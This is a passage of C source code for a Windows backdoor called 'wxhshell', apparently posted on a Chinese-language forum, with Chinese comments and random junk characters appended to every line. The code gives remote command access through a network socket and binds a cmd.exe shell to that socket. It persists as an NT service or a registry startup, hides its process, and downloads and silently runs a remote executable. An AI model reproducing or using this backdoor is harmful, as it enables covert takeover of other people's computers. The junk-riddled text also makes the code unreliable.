    switch(cmd[0]) { ,I(PDlvtM  
  t>04nN_@,s  
  // 帮助 NPN*k].  
  case '?': { (r&e|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]6W;~w%  
    break; XIv{jzgF  
  } Fv[. %tW  
  // 安装 c"vF i~Db  
  case 'i': { Z*/*P4\  
    if(Install()) iQrTEp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1QfOD-lv  
    else ZBDEE+8e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w(lxq:>"  
    break; uYh6q1@"~  
    } $6~ \xe=  
  // 卸载 |2yTt*!-r  
  case 'r': { 1wx&/ #a  
    if(Uninstall()) O2W EA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tk9/1C{8  
    else Ri,8rf0u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); In-W,   
    break; v> vU]6l  
    } aLwd#/!  
  // 显示 wxhshell 所在路径 5W0'r'{  
  case 'p': { >[4;K&$B  
    char svExeFile[MAX_PATH]; G4!$48  
    strcpy(svExeFile,"\n\r"); $EHnlaG8r  
      strcat(svExeFile,ExeFile); ^1&xt(G  
        send(wsh,svExeFile,strlen(svExeFile),0); @ 2mJh^cj  
    break; =y3gnb6  
    } a'/yN{?p  
  // 重启 91oIxW  
  case 'b': { 3I)!.N[m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P7IxN)b7  
    if(Boot(REBOOT)) X@,xwsM%tb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4KB) UPW  
    else { )N{Qpbh  
    closesocket(wsh);  b;!oPT  
    ExitThread(0); gnS0$kCJ:  
    } l}>gG[q!  
    break; AHws5#;$6*  
    } Z`fm;7NiVG  
  // 关机 {u BpM9KT  
  case 'd': { []K5l%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AT^?PD_  
    if(Boot(SHUTDOWN)) ]xf lfZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s'LY)_n  
    else { =1o_:VOG  
    closesocket(wsh); MKd{ y~'  
    ExitThread(0); Sd]`I)  
    } s[:e '#^  
    break; A[lkGQtS4  
    } *Z7W'-  
  // 获取shell S3-3pJ]~Zk  
  case 's': { xbex6i"ZE  
    CmdShell(wsh); OQ<|Xd I$  
    closesocket(wsh); V@jR8zv|_  
    ExitThread(0); I71kFtvcy*  
    break; P,Fs7  
  } 6:i(<7  
  // 退出 pCSR^ua>  
  case 'x': { M%f96XUM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _20nOg`o  
    CloseIt(wsh); sL;qC\S  
    break; wVCZ=\L}  
    } oDp!^G2A"  
  // 离开 A{Giz&p  
  case 'q': { n!mtMPH$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l -~H Y*  
    closesocket(wsh); m(nGtrQJm  
    WSACleanup(); wy&s~lpV,7  
    exit(1); u"-q"0  
    break; z65|NO6JW.  
        } ))}w;w   
  } yG?,8!/]  
  } ZbJzf]y:6  
n~ \"W  
  // 提示信息 ^B2>lx\n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Le"$ksu>  
} j+Nun  
  } w">XI)*z  
DPn]de:e  
  return; M xUj7ae  
} y5>859"h  
+DS_'Tmr  
// shell模块句柄 {20^abUAS  
int CmdShell(SOCKET sock) G"0YCi#I|  
{ Kx?3]  
STARTUPINFO si; zN JK+_O=  
ZeroMemory(&si,sizeof(si)); j,QeL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k}y1IW+3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _*B]yz6z  
PROCESS_INFORMATION ProcessInfo; tUl#sqN_{  
char cmdline[]="cmd"; XRVE8v+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2SEfEkk  
  return 0; A7DEAT))4L  
} zghUwW|K  
t_c;4iE  
// 自身启动模式 p=jD "lq  
int StartFromService(void) B*E:?4(<P  
{ B e"D0=<  
typedef struct |XOD~Plo^  
{ Iq.*2aff+  
  DWORD ExitStatus; ext`%$ U7  
  DWORD PebBaseAddress; ,tv P"@d  
  DWORD AffinityMask; Ua]shSjyI  
  DWORD BasePriority; ,%e.nj9  
  ULONG UniqueProcessId; to9 u%d8  
  ULONG InheritedFromUniqueProcessId; m5 r65=E  
}   PROCESS_BASIC_INFORMATION; c?5e|dZz  
vtG_ A{l  
PROCNTQSIP NtQueryInformationProcess; sL]KBux  
ECqcK~h#E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Qy`{y?T2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Zp]{e6J  
/10 I}3D  
  HANDLE             hProcess; L,V\g^4$K  
  PROCESS_BASIC_INFORMATION pbi; :VC#\/f  
6"C$]kF?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VnW]-P*:  
  if(NULL == hInst ) return 0; tKgPKWP   
v+A$CGH96  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0TK+R43_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8?!=/Sc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $EHAHNL?Lx  
H Yt& MK  
  if (!NtQueryInformationProcess) return 0; yg\bCvL&  
4tU3+e5h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4.2qt  
  if(!hProcess) return 0; nBv|5$w:  
K*jV=lG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6=a($s!   
1wSJw  
  CloseHandle(hProcess); 9MA/nybI  
\xJTsdd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;|&Ak_I2G  
if(hProcess==NULL) return 0; OnFx8r:q@%  
ycB>gd  
HMODULE hMod; vk:@rOpl  
char procName[255]; 'p,QI>  
unsigned long cbNeeded; F }l_=  
s,> 1n0a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZOvMA]Rf  
^;4nHH7z-,  
  CloseHandle(hProcess); 5#/" 0:2  
]^:l?F\h  
if(strstr(procName,"services")) return 1; // 以服务启动 nV'~uu  
}3 NGMGu$  
  return 0; // 注册表启动 E&r*[;$  
} xo/[,rR  
3lYM(DT  
// 主模块 h 3Kv0^{  
int StartWxhshell(LPSTR lpCmdLine) wZN<Og+;  
{ xB"o 7,  
  SOCKET wsl; Q| > \{M  
BOOL val=TRUE; l<0 BMwS8  
  int port=0; Cc^`M9dP  
  struct sockaddr_in door; v{9< ATi  
2^N 4(  
  if(wscfg.ws_autoins) Install();  )TV4OT#  
;(M`Wy]2  
port=atoi(lpCmdLine); OV ~|@{6T  
3l"7$B  
if(port<=0) port=wscfg.ws_port; *l:5FT p  
)P>Cxzs  
  WSADATA data; oZ;u>MeZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (@Q@B%!!K  
AG6tt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H@Dj$U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c`I`@Bed  
  door.sin_family = AF_INET; uTY5.8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !Tuc#yFw  
  door.sin_port = htons(port); |pk1pV |  
~9#[\/;"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zMasA  
closesocket(wsl); l%]S7|PKx  
return 1; l?E7'OEF:  
} WF#eqU*&  
fnV^&`BB  
  if(listen(wsl,2) == INVALID_SOCKET) { 2@WF]*Z  
closesocket(wsl); Wi]Mp7b  
return 1; Xi3:Ok6FZ  
} BhC.#u/   
  Wxhshell(wsl); `ro~l_U;A  
  WSACleanup(); F/;uN5{o  
bQc-ryC+.  
return 0; w]Z*"B&h  
#x Z7%    
} aV3:wp]Gn  
f%ude@E3  
// 以NT服务方式启动 iW\cLp "  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y)N57#e  
{ tpp. 9  
DWORD   status = 0; _IiTB  
  DWORD   specificError = 0xfffffff; Sgp$B:  
"i/ l'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3>%oGbo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z>1\|j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6rlafISvO  
  serviceStatus.dwWin32ExitCode     = 0; #M$Gj>E%4  
  serviceStatus.dwServiceSpecificExitCode = 0; :^".cs?g  
  serviceStatus.dwCheckPoint       = 0; Lk{ES$  
  serviceStatus.dwWaitHint       = 0; h6c0BmS{1  
J WaI[n}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B ^>}M  
  if (hServiceStatusHandle==0) return; )`5k fj  
8,Iil:w  
status = GetLastError(); ht _fbh(l  
  if (status!=NO_ERROR) {,z$*nf  
{ 63R?=u@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ir^%9amh  
    serviceStatus.dwCheckPoint       = 0; kGbtZ} W  
    serviceStatus.dwWaitHint       = 0; =@w,D.5h  
    serviceStatus.dwWin32ExitCode     = status; c zTr_>  
    serviceStatus.dwServiceSpecificExitCode = specificError; P9(]9np,,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b?Dhhf  
    return; *`D(drnT{  
  } (dZu&  
\ci'Cbn\o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Uz(Sv:G  
  serviceStatus.dwCheckPoint       = 0; KG:CVIW Y  
  serviceStatus.dwWaitHint       = 0; 9 -7.4!]I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,m<t/@^]  
} oCD#Gmr  
VB x,q3.  
// 处理NT服务事件,比如:启动、停止 HPM ggRs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ubtu?wRBW  
{ 8BP.VxX  
switch(fdwControl) :ryyo$  
{ \va'>?#o1  
case SERVICE_CONTROL_STOP: Lo"w,p`n@  
  serviceStatus.dwWin32ExitCode = 0; 1&\ A#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Jo%5NXts4  
  serviceStatus.dwCheckPoint   = 0; d8l T+MS=  
  serviceStatus.dwWaitHint     = 0; :oRR1k  
  { k e$g[g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K/)*P4C-  
  } fZM)>  
  return; -"m4 A0  
case SERVICE_CONTROL_PAUSE: <Z^P8nu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JBY`Y ]V3  
  break; ?LE\pk R  
case SERVICE_CONTROL_CONTINUE: }O=QXIF5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !V|%n(O"  
  break; ~fL:pVp  
case SERVICE_CONTROL_INTERROGATE: 34k}7k~n  
  break; 01bBZWX  
}; U;%I" p`Z/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V5 $J  
} X~ca8!Dq  
+n#(QOz  
// 标准应用程序主函数 ){ywk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uL`6}0  
{ _ ," -25a  
(;1rM}B;1  
// 获取操作系统版本 +C`h*%BW  
OsIsNt=GetOsVer(); kGaK(^w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uK_Q l\d  
(?luV#{5  
  // 从命令行安装 '<(S*&s  
  if(strpbrk(lpCmdLine,"iI")) Install(); RPH]@  
bwH l}3  
  // 下载执行文件 P(H,_7 4  
if(wscfg.ws_downexe) { y]1:IJL2;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9wR-0E )  
  WinExec(wscfg.ws_filenam,SW_HIDE); M6$9-  
} [=Qv?am  
SkGh@\  
if(!OsIsNt) { `gI`Cq4  
// 如果时win9x,隐藏进程并且设置为注册表启动 3Zy$NsY3  
HideProc(); oH;0_!  
StartWxhshell(lpCmdLine); +o{]0~ y  
} 1_chO?&,I  
else ' KX'{Gy  
  if(StartFromService()) :g1C,M~  
  // 以服务方式启动 RPb/U8  
  StartServiceCtrlDispatcher(DispatchTable); ym>>5(bni  
else a(!_ 3i@  
  // 普通方式启动 mFL"h  
  StartWxhshell(lpCmdLine); SZGeF;N  
H.sYy-_]F  
return 0;  bnll-G|  
}
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只看该作者 1 发表于: 2006-10-10
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